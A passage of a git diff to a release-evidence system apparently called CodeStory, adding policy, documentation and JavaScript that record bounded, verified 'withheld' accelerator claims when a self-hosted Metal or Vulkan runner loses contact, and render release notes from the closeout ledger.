nothing in that release proved, and +`partially_withheld_claims` names the ones another host still proved. At most +one platform's accelerator may be withheld +(`non_claim_policy.withhold_policy.maximum_withheld_hosts`); a release that +proved no accelerator anywhere is refused rather than published. See +[the testing matrix](docs/contributors/testing-matrix.md) for how a claim +becomes withheld. + ## Example prompts Use your project's symbols and paths: diff --git a/benchmarks/release-evidence/fixtures/candidate.json b/benchmarks/release-evidence/fixtures/candidate.json index 0629f2f21..2be69364f 100644 --- a/benchmarks/release-evidence/fixtures/candidate.json +++ b/benchmarks/release-evidence/fixtures/candidate.json @@ -62,7 +62,7 @@ }, "release_claims": { "graph_schema": "codestory.release-claims/v1", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "requested_claims": [ @@ -85,7 +85,7 @@ "type": "performance", "tier": "live_behavior", "status": "measured", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { @@ -106,7 +106,7 @@ "type": "answer_quality", "tier": "answer_quality", "status": "pass", - "graph_sha256": "5e61e808ffb6edad30699c701b3f8c4182ddfeb3f7d83ba49bb41b1ce948aacb", + "graph_sha256": "79ad7c2b9b2c22c23d6e4d26e0bfcd2b484afd89fb0a3143b7a887955c9619a8", "observed_at": "2026-07-21T02:13:20.738Z", "expires_at": "2026-07-22T02:13:20.738Z", "identity": { diff --git a/benchmarks/release-evidence/fixtures/report.json b/benchmarks/release-evidence/fixtures/report.json index 70075d0c1..d2ac757ea 100644 --- a/benchmarks/release-evidence/fixtures/report.json +++ b/benchmarks/release-evidence/fixtures/report.json @@ -7,7 +7,7 @@ "baseline_id": "ci-contract-v1@1111111111111111111111111111111111111111", "baseline_sha256": "0bbbe6dd8b4000151edf7b1270959d08e94e08db876e7f2372b25613e0f237c1", "candidate_path": "benchmarks/release-evidence/fixtures/candidate.json", - "candidate_sha256": "ba277f51c4079712fd75ef1ead662198645d70074bb6b717b1bca7336968a7f1", + "candidate_sha256": "627932380729447ad3fdb1e08f8f76c83b966d2dd8cb4e44614f6593b3f3c03d", "artifact_paths": [ { "path": "candidate-stats.json", diff --git a/docs/contributors/testing-matrix.md b/docs/contributors/testing-matrix.md index 77c8c9280..8c4709cb6 100644 --- a/docs/contributors/testing-matrix.md +++ b/docs/contributors/testing-matrix.md @@ -494,6 +494,88 @@ The v0.16 closeout consumes physical Metal and Vulkan execution evidence and makes those accelerator claims for the released targets. Accuracy, latency, and throughput remain independent evaluator lanes and release non-claims. +### Withheld accelerator claims + +The repository owns one host per accelerator, so a host that loses its +connection mid-proof used to cost the whole release. Recovery is automatic and +bounded, and it never waits on a human click. + +`.github/scripts/lost-runner-recovery.mjs` classifies a failed job as a runner +communication loss only when all three parts of the Actions signature are +present at once: the exact `The self-hosted runner lost communication with the +server.` annotation, at least one step that completed with an empty conclusion, +and no uploaded log blob. A proof that ran and failed its own assertions has a +real conclusion on every step and a log, so it is classified as an assertion +failure and is never re-dispatched and never withheld. The classifier never +reads job names. + +All three parts are read by `.github/scripts/collect-actions-job-evidence.sh`, +which fails closed on every one of them. The annotation endpoint needs the +`checks: read` token scope; without it the call 403s, and a 403 reported as "no +annotations" would make the signature unmatchable and the whole recovery path +inert. The collector treats any answer other than a successful read as an +error, and only a `404` from the log-blob endpoint counts as "the runner +uploaded no log". `.github/scripts/check-workflow-policy.mjs` refuses any +workflow that runs the collector without `checks: read`, including the +reusable-workflow callers whose grant is the ceiling for what they call. + +`.github/workflows/lost-runner-rerun.yml` watches completed release runs and +re-dispatches the individual lost jobs by id. The bound is +`non_claim_policy.maximum_run_attempts` (2, meaning one automatic recovery +attempt) and it counts **lost executions of that job**, not run attempts: a +release re-run for an unrelated reason has spent no recovery on any host, so +the first loss of a runner is still owed its one retry. The collector reads +every attempt of the run to make that count possible, and counts a job Actions +carried forward unchanged once. Jobs that failed on their own assertions are +not named in the rerun request and stay red. + +If a host is lost twice, `release.yml`'s `accelerator-non-claim` job records a +**populated non-claim** for that host in place of the cells that host would +have produced. It mirrors the package manifest's own shape: +`runtime_execution: not_proven_by_package` with a `non_claim_reason`. Every +cell that host owns -- accelerator execution, candidate-installed behavior, and +retrieval readiness -- is written with evidence status `withheld`, naming the +target, backend, runner, the unavailable producer job, the exact annotation, +and every claim the missing proof would have carried. + +The closeout does not take the producer's word for any of that. Its own job +runs the same collector and `buildTrustedProducerMap` re-derives the signature +before it will authenticate a cell against the non-claim producer, so a red +accelerator job cannot become an accepted withheld claim through a bug or a +future edit in the producer alone. + +A withheld cell is recorded as `withheld` in `ledger.json` and in +`summary.json`'s `withheld_cells`, `withheld_hosts`, and `counts.withheld`, and +is never counted as passed. Any cell that still claims a pass while something +it rests on was withheld fails closeout validation, so a withheld accelerator +claim cannot be inherited as a silent pass by retrieval readiness. + +**How much may be withheld** is `non_claim_policy.withhold_policy` in +`release-claims.json`, and the closeout enforces it: + +- `maximum_withheld_hosts` (1) bounds how many protected hosts may be silent at + once. The graph refuses a cap that does not leave at least one host proven, so + "no accelerator was proven anywhere" is unrepresentable rather than merely + discouraged. +- `claims_requiring_proof` names the claims that must keep at least one + *passing* cell in any phase that closes them. A withheld cell records a + non-claim and can never satisfy one. + +Breaking either records a named `input_errors` entry and the closeout decision +becomes `reject`, so `pre-publish-closeout` fails and `publish` is skipped. + +The two claim lists in the ledger are literal in both directions: +`withheld_claims` is what nothing in that phase proved, and +`partially_withheld_claims` is what a withheld cell rested on but another host +still proved. Their union is every claim a withheld cell touched. + +The published surfaces say the same thing. The GitHub release notes' platform +section is rendered from the accepted ledger -- +`codestory-release-claims.mjs release-platform-notes` requires `--ledger` and +has no graph-only mode -- and `release-closeout-summary.json` ships as a +release asset, so a consumer can read what a specific release proved without +reaching into a 30-day Actions artifact. + Run the coordinator only with retained producer manifests and a fresh output directory: diff --git a/release-claims.json b/release-claims.json index ff62a4dd5..4157892b2 100644 --- a/release-claims.json +++ b/release-claims.json @@ -1,6 +1,6 @@ { "schema": "codestory.release-claims/v1", - "graph_version": 7, + "graph_version": 8, "graph_id": "codestory-release-claims", "standard_release_claims": [ "source_behavior", @@ -957,6 +957,70 @@ } ] }, + "non_claim_policy": { + "schema": "codestory.release-non-claim/v1", + "runtime_execution": "not_proven_by_package", + "reason": "accelerator_host_unavailable", + "annotation": "The self-hosted runner lost communication with the server. Verify the machine is running and has a healthy network connection.", + "maximum_run_attempts": 2, + "recovery_contract": ".github/scripts/lost-runner-recovery.mjs", + "producer_workflow": ".github/workflows/release.yml", + "producer_job": "accelerator-non-claim", + "producer_job_name": "Withhold unproven accelerator claims", + "withhold_policy": { + "maximum_withheld_hosts": 1, + "claims_requiring_proof": [ + "accelerator_execution", + "installed_runtime_behavior", + "platform_support", + "retrieval_readiness" + ] + }, + "hosts": [ + { + "id": "macos-arm64-metal", + "unavailable_producer_workflow": ".github/workflows/macos-metal-proof.yml", + "unavailable_producer_job_name": "Packaged Apple Silicon Metal engine", + "producer_artifacts": { + "pre_publish": "release-cell-nonclaim-prepublish-macos-arm64-metal-attempt-{attempt}", + "post_publish": "release-cell-nonclaim-postpublish-macos-arm64-metal-attempt-{attempt}" + }, + "withheld_cells": [ + "accelerator_execution:macos-arm64-metal", + "candidate_installed_behavior:macos-arm64", + "retrieval_readiness:macos-arm64" + ] + }, + { + "id": "windows-x64-vulkan", + "unavailable_producer_workflow": ".github/workflows/windows-vulkan-proof.yml", + "unavailable_producer_job_name": "Packaged Windows Vulkan engine", + "producer_artifacts": { + "pre_publish": "release-cell-nonclaim-prepublish-windows-x64-vulkan-attempt-{attempt}", + "post_publish": "release-cell-nonclaim-postpublish-windows-x64-vulkan-attempt-{attempt}" + }, + "withheld_cells": [ + "accelerator_execution:windows-x64-vulkan", + "candidate_installed_behavior:windows-x64", + "retrieval_readiness:windows-x64" + ] + }, + { + "id": "linux-x64-vulkan", + "unavailable_producer_workflow": ".github/workflows/linux-vulkan-proof.yml", + "unavailable_producer_job_name": "Packaged Linux Vulkan engine", + "producer_artifacts": { + "pre_publish": "release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-{attempt}", + "post_publish": "release-cell-nonclaim-postpublish-linux-x64-vulkan-attempt-{attempt}" + }, + "withheld_cells": [ + "accelerator_execution:linux-x64-vulkan", + "candidate_installed_behavior:linux-x64", + "retrieval_readiness:linux-x64" + ] + } + ] + }, "workflow_policy": { "artifact_retention_days": 30, "package_matrix": [ @@ -1062,13 +1126,21 @@ "preflight", "packaged-proof" ], + "accelerator-non-claim": [ + "preflight", + "packaged-proof", + "macos-metal-proof", + "windows-vulkan-proof", + "linux-vulkan-proof" + ], "pre-publish-closeout": [ "preflight", "source-proof", "packaged-proof", "macos-metal-proof", "windows-vulkan-proof", - "linux-vulkan-proof" + "linux-vulkan-proof", + "accelerator-non-claim" ], "publish": [ "preflight", diff --git a/scripts/codestory-release-cell-manifest.mjs b/scripts/codestory-release-cell-manifest.mjs index 9ce7201e1..e742430d7 100644 --- a/scripts/codestory-release-cell-manifest.mjs +++ b/scripts/codestory-release-cell-manifest.mjs @@ -13,9 +13,16 @@ import { } from "./codestory-release-claims.mjs"; import { deriveReleaseCells, + releaseCellWithheldClaims, resolveReleaseCellConstraints, + resolveReleaseCellNonClaimConstraints, validateReleaseCellManifest, } from "./codestory-release-closeout.mjs"; +import { + RUNNER_COMMUNICATION_LOSS, + classifyJobFailure, + countLostExecutions, +} from "../.github/scripts/lost-runner-recovery.mjs"; const PRODUCER_MAP_SCHEMA = "codestory.release-actions-provenance/v1"; const ACTIONS_DIGEST = /^sha256:[0-9a-f]{64}$/u; @@ -136,6 +143,7 @@ export function produceReleaseCellManifest({ archivePath = null, prePublishLedger = null, evidence = null, + nonClaim = null, }) { const graphSha256 = releaseClaimGraphDigest(graph); const type = evidenceType(graph, cell.evidence_type); @@ -148,6 +156,7 @@ export function produceReleaseCellManifest({ ...(suppliedIdentity ?? {}), ...gitIdentity, ...resolveReleaseCellConstraints(cell, producer.producer_run_attempt), + ...(nonClaim ? resolveReleaseCellNonClaimConstraints(cell, producer.producer_run_attempt) : {}), ...producer, }; if (cell.required_identity.includes("producer_version")) identity.producer_version = version; @@ -168,13 +177,14 @@ export function produceReleaseCellManifest({ id: evidence?.id ?? `${cell.id}:${producer.producer_run_id}:${producer.producer_run_attempt}`, type: cell.evidence_type, tier: type.tier, - status: evidence?.status ?? "pass", + status: evidence?.status ?? (nonClaim ? "withheld" : "pass"), graph_sha256: graphSha256, observed_at: observed, expires_at: expires, identity, }, }; + if (nonClaim) manifest.non_claim = nonClaim; if (cell.archive_role === "pre_publish") { if (!artifact || !archivePath) fail(`${cell.id} requires --archive`); manifest.archive = { name: artifact.name, sha256: artifact.sha256, bytes: artifact.bytes }; @@ -233,6 +243,62 @@ function produceOne(values) { writeJson(text(values.out, "--out"), manifest); } +/// Record the populated non-claim for one protected host that never reported. +/// +/// This is the only writer of a withheld release cell. It refuses to invent one for a host the +/// graph does not declare, and it stamps the recovery bound into every manifest it writes, so a +/// withheld cell always carries the evidence that the automatic reruns were spent first. +function withholdHost(values) { + const { graph, gitIdentity } = common(values); + const version = text(values.version, "--version").replace(/^v/u, ""); + const policy = graph.non_claim_policy; + const hostId = text(values.host, "--host"); + const host = (policy?.hosts ?? []).find(({ id }) => id === hostId); + if (!host) fail(`release claim graph declares no non-claim host ${hostId}`); + const attempt = positiveInteger(values["producer-run-attempt"], "--producer-run-attempt"); + if (Number(attempt) < policy.maximum_run_attempts) { + fail(`a non-claim may be recorded only after ${policy.maximum_run_attempts} run attempts`); + } + const identity = values.identity ? JSON.parse(readFileSync(values.identity, "utf8")) : {}; + const outDir = text(values["out-dir"], "--out-dir"); + for (const cellId of host.withheld_cells) { + const cell = selectedCell(graph, cellId); + // Each closeout phase downloads and authorizes its own container, so the manifests are written + // into one directory per phase and uploaded as one artifact per phase. + const producer = authenticatedProducer({ + "producer-workflow": policy.producer_workflow, + "producer-job": policy.producer_job, + "producer-run-id": values["producer-run-id"], + "producer-run-attempt": attempt, + "producer-artifact": host.producer_artifacts[cell.phase].replaceAll("{attempt}", attempt), + }, gitIdentity); + const manifest = produceReleaseCellManifest({ + graph, + gitIdentity, + version, + cell, + identity, + producer, + observedAt: values["observed-at"], + archivePath: values.archive, + nonClaim: { + host: host.id, + runtime_execution: policy.runtime_execution, + non_claim_reason: policy.reason, + annotation: policy.annotation, + unavailable_producer_workflow: host.unavailable_producer_workflow, + unavailable_producer_job_name: host.unavailable_producer_job_name, + withheld_claims: releaseCellWithheldClaims(graph, cell), + run_attempt: attempt, + }, + }); + writeJson( + path.join(outDir, cell.phase, `${cellId.replaceAll(/[^A-Za-z0-9._-]/gu, "_")}.json`), + manifest, + ); + } +} + function positiveInteger(value, label) { const selected = text(String(value ?? ""), label); if (!/^[1-9]\d*$/u.test(selected)) fail(`${label} must be a positive integer`); @@ -249,6 +315,22 @@ function leafJobName(value) { return text(value, "Actions job name").split(" / ").at(-1); } +/// The one execution of `jobName` at the highest attempt at or below the current one. `absent` and +/// `ambiguous` are reported distinctly and are never treated as "the host went away": only a single +/// resolved execution that ran and did not succeed may hand a cell to its non-claim producer, so a +/// missing or duplicated job still fails through the strict selection below. +function latestExecution(jobs, jobName, currentAttempt) { + const occurrences = jobs.filter((job) => + leafJobName(job.name) === jobName + && Number(positiveInteger(job.run_attempt, `${jobName} run attempt`)) <= Number(currentAttempt)); + if (occurrences.length === 0) return { state: "absent", job: null }; + const latestAttempt = Math.max(...occurrences.map(({ run_attempt: attempt }) => Number(attempt))); + const latest = occurrences.filter(({ run_attempt: attempt }) => Number(attempt) === latestAttempt); + return latest.length === 1 + ? { state: "resolved", job: latest[0] } + : { state: "ambiguous", job: null }; +} + function flattenJobs(jobsByAttempt) { if (Array.isArray(jobsByAttempt)) return jobsByAttempt; if (jobsByAttempt === null || typeof jobsByAttempt !== "object") { @@ -347,6 +429,38 @@ function selectReusedProducer({ cell, reused, binding }) { }; } +/// The closeout's own reading of the lost-runner signature. +/// +/// This deliberately repeats work the non-claim producer already did. The producer decides whether +/// to *write* a non-claim; this decides whether the closeout will *authenticate a cell against* +/// one, and a single shared verdict would mean any bug or future edit in the producer silently +/// converts every red accelerator job into an accepted withheld claim with nothing to object. The +/// evidence is collected by the closeout job itself, so the producer is not consulted at all. +function confirmsWithholding({ graph, jobEvidence, jobName, cellId }) { + if (jobEvidence === null) { + fail(`closeout cannot route ${cellId} to a non-claim without its own Actions job evidence`); + } + const executions = jobEvidence.filter((job) => + leafJobName(String(job?.name ?? "")) === jobName + && String(job?.conclusion ?? "") === "failure"); + if (executions.length === 0) { + fail(`Actions job evidence has no failed execution of ${jobName} to withhold ${cellId} for`); + } + for (const job of executions) { + if (classifyJobFailure(job).signature !== RUNNER_COMMUNICATION_LOSS) { + fail(`${jobName} failed its own assertions, so ${cellId} may not be withheld`); + } + } + const spent = countLostExecutions(jobEvidence, jobName); + if (spent < graph.non_claim_policy.maximum_run_attempts) { + fail( + `${jobName} has been lost ${spent} time(s); ${cellId} may not be withheld before the ` + + `${graph.non_claim_policy.maximum_run_attempts}-execution recovery bound is spent`, + ); + } + return true; +} + export function buildTrustedProducerMap({ graph, gitIdentity, @@ -355,6 +469,9 @@ export function buildTrustedProducerMap({ currentRunAttempt, artifacts, jobsByAttempt, + // The closeout's own collected Actions job evidence -- annotations, step conclusions and the log + // blob probe -- for confirming a withheld routing without asking the non-claim producer. + jobEvidence = null, // Cross-run evidence, keyed by cell-group id. Admissible only for groups that declare a // reuse_binding in the claim graph; the caller is responsible for having verified the binding // (tree equality and ancestry, or native-fingerprint equality) before supplying an entry. @@ -380,8 +497,32 @@ export function buildTrustedProducerMap({ if (reused) { return selectReusedProducer({ cell, reused, binding: groupBindings.get(cell.group_id) }); } - const jobName = text(cell.identity_constraints.producer_job_name, `${cell.id} producer job name`); - const cacheKey = `${jobName}\0${cell.identity_constraints.producer_artifact}`; + const primaryJobName = text( + cell.identity_constraints.producer_job_name, + `${cell.id} producer job name`, + ); + // A protected host that never reported cannot sign its own absence. When -- and only when -- + // its latest attempt did not succeed, the cell's producer becomes the hosted job that recorded + // the populated non-claim, and the row is stamped so the closeout knows to expect a withheld + // manifest rather than a proof. + // + // "Did not succeed" is necessary but nowhere near sufficient: on its own it routes every red + // accelerator job into the withheld lane, and the only thing keeping an assertion failure out + // would be the non-claim producer's own refusal to upload for it. This map is what decides + // whether a cell is authenticated against the real proof or against the non-claim producer, so + // it checks the lost-runner signature itself, from evidence it collected, rather than + // inheriting the producer's verdict. + const primaryLatest = latestExecution(jobs, primaryJobName, selectedCurrentAttempt); + const notGreen = cell.non_claim !== undefined + && primaryLatest.state === "resolved" + && (primaryLatest.job.status !== "completed" || primaryLatest.job.conclusion !== "success"); + const withheld = notGreen + && confirmsWithholding({ graph, jobEvidence, jobName: primaryJobName, cellId: cell.id }); + const jobName = withheld ? cell.non_claim.producer_job_name : primaryJobName; + const artifactTemplate = withheld + ? cell.non_claim.producer_artifact + : cell.identity_constraints.producer_artifact; + const cacheKey = `${jobName}\0${artifactTemplate}`; let selected = selectionCache.get(cacheKey); if (!selected) { const occurrences = jobs.filter((job) => @@ -401,7 +542,12 @@ export function buildTrustedProducerMap({ if (String(job.run_id) !== selectedRunId || job.head_sha !== gitIdentity.commit) { fail(`Actions job ${jobName} is not bound to the selected run and commit`); } - const constraints = resolveReleaseCellConstraints(cell, String(latestAttempt)); + const constraints = withheld + ? { + ...resolveReleaseCellConstraints(cell, String(latestAttempt)), + ...resolveReleaseCellNonClaimConstraints(cell, String(latestAttempt)), + } + : resolveReleaseCellConstraints(cell, String(latestAttempt)); const matchingArtifacts = artifacts.filter(({ name }) => name === constraints.producer_artifact); if (matchingArtifacts.length !== 1) { fail(`Actions run must retain one ${constraints.producer_artifact} artifact`); @@ -450,10 +596,12 @@ export function buildTrustedProducerMap({ completed_at: completedAt, }, }; + selected.non_claim = withheld; selectionCache.set(cacheKey, selected); } return { cell_id: cell.id, + ...(selected.non_claim ? { non_claim: true } : {}), producer_workflow: selected.constraints.producer_workflow, producer_job: selected.constraints.producer_job, producer_job_name: selected.constraints.producer_job_name, @@ -549,6 +697,10 @@ async function produceMap(values) { jobsByAttempt: await githubPages(`${reusedUrl}/jobs?filter=all`, token, "jobs"), }; } + // Collected by the closeout job itself, never handed over by the non-claim producer. + const jobEvidence = values["job-evidence"] + ? JSON.parse(readFileSync(text(values["job-evidence"], "--job-evidence"), "utf8")) + : null; const map = buildTrustedProducerMap({ graph, gitIdentity, @@ -557,6 +709,7 @@ async function produceMap(values) { currentRunAttempt: runAttempt, artifacts, jobsByAttempt, + jobEvidence, reuse, }); writeJson(text(values.out, "--out"), map); @@ -565,8 +718,9 @@ async function produceMap(values) { async function main() { const { command, values } = parseArgs(process.argv.slice(2)); if (command === "produce") produceOne(values); + else if (command === "withhold") withholdHost(values); else if (command === "producer-map") await produceMap(values); - else fail("command must be produce or producer-map"); + else fail("command must be produce, withhold, or producer-map"); } if (process.argv[1] && import.meta.url === pathToFileURL(path.resolve(process.argv[1])).href) { diff --git a/scripts/codestory-release-claims.mjs b/scripts/codestory-release-claims.mjs index 4e15e1253..08dd4b7da 100644 --- a/scripts/codestory-release-claims.mjs +++ b/scripts/codestory-release-claims.mjs @@ -7,7 +7,7 @@ import path from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; const GRAPH_SCHEMA = "codestory.release-claims/v1"; -const GRAPH_VERSION = 7; +const GRAPH_VERSION = 8; const KNOWN_PACKAGE_TARGETS = new Set([ "linux-arm64", "linux-x64", @@ -227,6 +227,156 @@ function uniqueById(values, label) { return found; } +/// Every closeout cell one protected job produces, keyed by the leaf Actions job name that produces +/// it. A host that goes missing takes its whole column with it, so the withheld set is derived from +/// the graph instead of listed by hand: adding a cell to a protected job cannot leave a stale +/// non-claim behind that quietly keeps claiming something. +function cellsByProducerJobName(cellGroups) { + const byJobName = new Map(); + const record = (jobName, cellId) => { + if (typeof jobName !== "string" || jobName === "") return; + if (!byJobName.has(jobName)) byJobName.set(jobName, []); + byJobName.get(jobName).push(cellId); + }; + for (const [groupId, group] of cellGroups) { + if (group.expansion === "instances") { + for (const instance of group.instances) { + record( + instance.identity_constraints?.producer_job_name + ?? group.identity_constraints?.producer_job_name, + `${groupId}:${instance.id}`, + ); + } + } + } + return byJobName; +} + +/// How much of a release may go unproven and still publish. Withholding exists so one dead host +/// cannot cost a release its other nine cells -- it is not a way to publish a release nothing +/// vouched for. The two numbers below are the whole policy and they live in the graph rather than +/// in the closeout, because a reader deciding whether to trust a release reads the graph: +/// +/// * `maximum_withheld_hosts` bounds how many of the protected hosts may be silent at once. It +/// must stay strictly below the number of hosts, so "every accelerator was withheld" is +/// unrepresentable rather than merely discouraged. +/// * `claims_requiring_proof` names the claims that must retain at least one *passing* cell in +/// any phase that requires them. A withheld cell records a non-claim, so it can never be the +/// thing that satisfies one of these. +function validateWithholdPolicy(policy, hosts, cellGroups) { + const withhold = object( + policy.withhold_policy, + "release claim graph.non_claim_policy.withhold_policy", + ); + const maximum = withhold.maximum_withheld_hosts; + if (!Number.isInteger(maximum) || maximum < 1) { + fail("non_claim_policy.withhold_policy.maximum_withheld_hosts must be a positive integer"); + } + if (maximum >= hosts.size) { + fail( + "non_claim_policy.withhold_policy.maximum_withheld_hosts must leave at least one protected " + + `host proven (${hosts.size} hosts are declared)`, + ); + } + const required = stringArray( + withhold.claims_requiring_proof, + "non_claim_policy.withhold_policy.claims_requiring_proof", + { nonEmpty: true }, + ); + if (JSON.stringify(required) !== JSON.stringify([...required].sort())) { + fail("non_claim_policy.withhold_policy.claims_requiring_proof must be sorted"); + } + const claimOfCellGroup = new Map( + [...cellGroups].map(([groupId, group]) => [groupId, group.claim]), + ); + const closeoutClaims = new Set(claimOfCellGroup.values()); + for (const claimId of required) { + if (!closeoutClaims.has(claimId)) { + fail(`non_claim_policy.withhold_policy.claims_requiring_proof names unclosed claim ${claimId}`); + } + } + const withheldClaims = new Set(); + for (const host of hosts.values()) { + for (const cellId of host.withheld_cells ?? []) { + const claimId = claimOfCellGroup.get(String(cellId).split(":")[0]); + if (claimId !== undefined) withheldClaims.add(claimId); + } + } + // Every claim a host can withhold has to be one the policy insists stays proven somewhere, + // otherwise the cap would be silent about exactly the claims withholding can erase. + for (const claimId of [...withheldClaims].sort()) { + if (!required.includes(claimId)) { + fail( + `non_claim_policy.withhold_policy.claims_requiring_proof must include ${claimId}, ` + + "which a withheld host can erase", + ); + } + } +} + +function validateNonClaimPolicy(graph, cellGroups) { + const policy = object(graph.non_claim_policy, "release claim graph.non_claim_policy"); + if (policy.schema !== "codestory.release-non-claim/v1") { + fail("release claim graph.non_claim_policy.schema must be codestory.release-non-claim/v1"); + } + // The recorded state mirrors the package manifest's own accelerator non-claim, so a reader who + // already understands `not_proven_by_package` reads a withheld release cell the same way. + if (policy.runtime_execution !== "not_proven_by_package") { + fail("release claim graph.non_claim_policy.runtime_execution must be not_proven_by_package"); + } + nonEmptyText(policy.reason, "release claim graph.non_claim_policy.reason"); + nonEmptyText(policy.annotation, "release claim graph.non_claim_policy.annotation"); + nonEmptyText(policy.recovery_contract, "release claim graph.non_claim_policy.recovery_contract"); + if (policy.maximum_run_attempts !== 2) { + fail("release claim graph.non_claim_policy.maximum_run_attempts must be 2"); + } + for (const key of ["producer_workflow", "producer_job", "producer_job_name"]) { + nonEmptyText(policy[key], `release claim graph.non_claim_policy.${key}`); + } + const producedCells = cellsByProducerJobName(cellGroups); + const hosts = uniqueById(policy.hosts, "release claim graph.non_claim_policy.hosts"); + validateWithholdPolicy(policy, hosts, cellGroups); + const artifacts = new Set(); + const accelerator = cellGroups.get("accelerator_execution"); + const acceleratorInstances = (accelerator?.instances ?? []).map(({ id }) => id).sort(); + if (JSON.stringify([...hosts.keys()].sort()) !== JSON.stringify(acceleratorInstances)) { + fail("non_claim_policy.hosts must name exactly the protected accelerator instances"); + } + for (const [hostId, host] of hosts) { + nonEmptyText(host.unavailable_producer_workflow, `non_claim_policy.hosts ${hostId}.unavailable_producer_workflow`); + const jobName = nonEmptyText( + host.unavailable_producer_job_name, + `non_claim_policy.hosts ${hostId}.unavailable_producer_job_name`, + ); + // One artifact container may only hold cells of a single closeout phase, because the phase's + // trusted producer map is what authorizes every manifest inside the container it downloads. + const hostArtifacts = object( + host.producer_artifacts, + `non_claim_policy.hosts ${hostId}.producer_artifacts`, + ); + if (JSON.stringify(Object.keys(hostArtifacts).sort()) !== JSON.stringify(["post_publish", "pre_publish"])) { + fail(`non_claim_policy.hosts ${hostId}.producer_artifacts must name one artifact per closeout phase`); + } + for (const [phase, artifact] of Object.entries(hostArtifacts)) { + nonEmptyText(artifact, `non_claim_policy.hosts ${hostId}.producer_artifacts.${phase}`); + if (!artifact.includes("{attempt}")) { + fail(`non_claim_policy.hosts ${hostId}.producer_artifacts.${phase} must be attempt-qualified`); + } + if (artifacts.has(artifact)) fail(`non_claim_policy.hosts duplicates artifact ${artifact}`); + artifacts.add(artifact); + } + const declared = stringArray( + host.withheld_cells, + `non_claim_policy.hosts ${hostId}.withheld_cells`, + { nonEmpty: true }, + ); + const derived = producedCells.get(jobName) ?? []; + if (JSON.stringify([...declared].sort()) !== JSON.stringify([...derived].sort())) { + fail(`non_claim_policy host ${hostId} must withhold exactly the cells ${jobName} produces`); + } + } +} + function validatePublicSupport(graph, packageTargets, cellGroups) { const publicSupport = object( graph.public_support, @@ -707,6 +857,8 @@ export function validateReleaseClaimGraph(graph) { } } + validateNonClaimPolicy(graph, cellGroups); + const policy = object(graph.workflow_policy, "release claim graph.workflow_policy"); if (!Number.isInteger(policy.artifact_retention_days) || policy.artifact_retention_days <= 0) { fail("workflow_policy.artifact_retention_days must be a positive integer"); @@ -889,6 +1041,8 @@ export function validatePlatformNarrativeDocuments(graph, repoRoot) { } } +export const RELEASE_CLOSEOUT_SUMMARY_ASSET = "release-closeout-summary.json"; + export function releaseAssetNames(graph, version) { validateReleaseClaimGraph(graph); if (!/^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/u.test(version)) { @@ -900,23 +1054,66 @@ export function releaseAssetNames(graph, version) { `codestory-cli-v${version}-${target}.${extension}`, ), "SHA256SUMS.txt", + // The one machine-readable statement of what this release did and did not prove. It ships with + // the release because the README tells readers to consult the ledger rather than the platform + // table, and an Actions artifact with a 30-day retention is not something a release consumer + // can reach. + RELEASE_CLOSEOUT_SUMMARY_ASSET, ]; } -export function renderReleasePlatformNotes(graph) { +/// Which package target each protected accelerator host speaks for, derived from the cells the host +/// withholds rather than from a second copy of the mapping. +function acceleratorHostByTarget(graph) { + const byTarget = new Map(); + for (const host of graph.non_claim_policy.hosts) { + for (const cellId of host.withheld_cells) { + const [group, instance] = cellId.split(":"); + if (group === "candidate_installed_behavior") byTarget.set(instance, host); + } + } + return byTarget; +} + +/// The platform table that goes into the published GitHub release notes. +/// +/// This is the surface a release consumer actually reads, so it is rendered from the accepted +/// closeout ledger, never from the static graph alone. Rendering it from the graph is how a release +/// whose Vulkan proof was withheld still announced "supported with Vulkan": the graph says what the +/// repository intends to support, and only the ledger says what this release proved. A withheld +/// accelerator is stated in the notes, in the same words the ledger recorded it in. +export function renderReleasePlatformNotes(graph, ledger) { validateReleaseClaimGraph(graph); - const packages = graph.public_support.packages.map( - ({ label, accelerator_claim: claim }) => - `- ${label}: supported with ${claim === "metal" ? "Metal" : "Vulkan"}`, - ); + const closeout = object(ledger, "closeout ledger"); + const withheldCells = new Set(stringArray(closeout.withheld_cells, "closeout ledger.withheld_cells")); + const hostByTarget = acceleratorHostByTarget(graph); + const reason = graph.non_claim_policy.reason; + const packages = graph.public_support.packages.map(({ label, target, accelerator_claim: claim }) => { + const accelerator = claim === "metal" ? "Metal" : "Vulkan"; + const host = hostByTarget.get(target); + const withheld = host !== undefined + && host.withheld_cells.some((cellId) => + cellId.startsWith("accelerator_execution:") && withheldCells.has(cellId)); + return withheld + ? `- ${label}: ${accelerator} not proven for this release (${reason})` + : `- ${label}: supported with ${accelerator}`; + }); const unsupported = graph.public_support.unsupported.map( ({ label }) => `- ${label}: unsupported`, ); + const withheldNote = withheldCells.size === 0 + ? [] + : [ + "", + `This release withheld ${withheldCells.size} evidence cell(s); ` + + "release-closeout-summary.json names every one of them.", + ]; return [ "## Platform support", "", ...packages, ...unsupported, + ...withheldNote, ].join("\n"); } @@ -1403,7 +1600,10 @@ function main() { return; } if (command === "release-platform-notes") { - console.log(renderReleasePlatformNotes(graph)); + // The ledger is required, not optional: an optional ledger would mean the published notes can + // still be produced from the graph alone, which is the exact fail-open this command had. + const ledgerPath = nonEmptyText(values.ledger, "--ledger"); + console.log(renderReleasePlatformNotes(graph, JSON.parse(readFileSync(ledgerPath, "utf8")))); return; } if (command === "evaluate") { diff --git a/scripts/codestory-release-closeout.mjs b/scripts/codestory-release-closeout.mjs index ba0696f2c..46c93a3d5 100644 --- a/scripts/codestory-release-closeout.mjs +++ b/scripts/codestory-release-closeout.mjs @@ -138,6 +138,30 @@ export function deriveReleaseCells(graph, phase) { cells.sort((left, right) => left.id.localeCompare(right.id)); const ids = cells.map(({ id }) => id); if (new Set(ids).size !== ids.length) fail("release claim graph derives duplicate closeout cell ids"); + const nonClaimHostByCell = new Map(); + const nonClaimPolicy = 